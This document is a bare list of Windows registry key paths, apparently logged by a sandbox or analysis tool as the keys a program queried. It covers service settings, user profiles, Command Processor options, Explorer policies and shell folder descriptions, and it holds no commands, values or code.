HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_USERS\S-1-5-18
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_USERS\.DEFAULT\Environment
HKEY_USERS\.DEFAULT\Volatile Environment
HKEY_USERS\.DEFAULT\Volatile Environment\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\Environment
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Group
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-GB
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-GB
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\State
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\ProfileImagePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DisableUNCCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DefaultColor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000809
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesRecycleBin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Start Menu
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\CallForAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\RestrictedAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORDISPLAY
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideFolderVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\UseDropHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORPARSING
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsParseDisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\MapNetDriveVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForInfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideInWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideOnDesktopPerUser
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsAliasedNotifications
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsUniversalDelegate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\NoFileFolderJunction
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\PinToNameSpaceTree
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HasNavigationEnum
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}\DriveMask
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DontShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellState
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClassicShell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SeparateProcess
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetCrawling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSimpleStartMenu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowCompColor
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DontPrettyPath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowInfoTip
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideIcons
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapNetDrvBtn
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\WebView
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Filter
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SeparateProcess
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\NoNetCrawling
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\AutoCheckSelect
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\IconsOnly
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowTypeOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Desktop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PreCreate
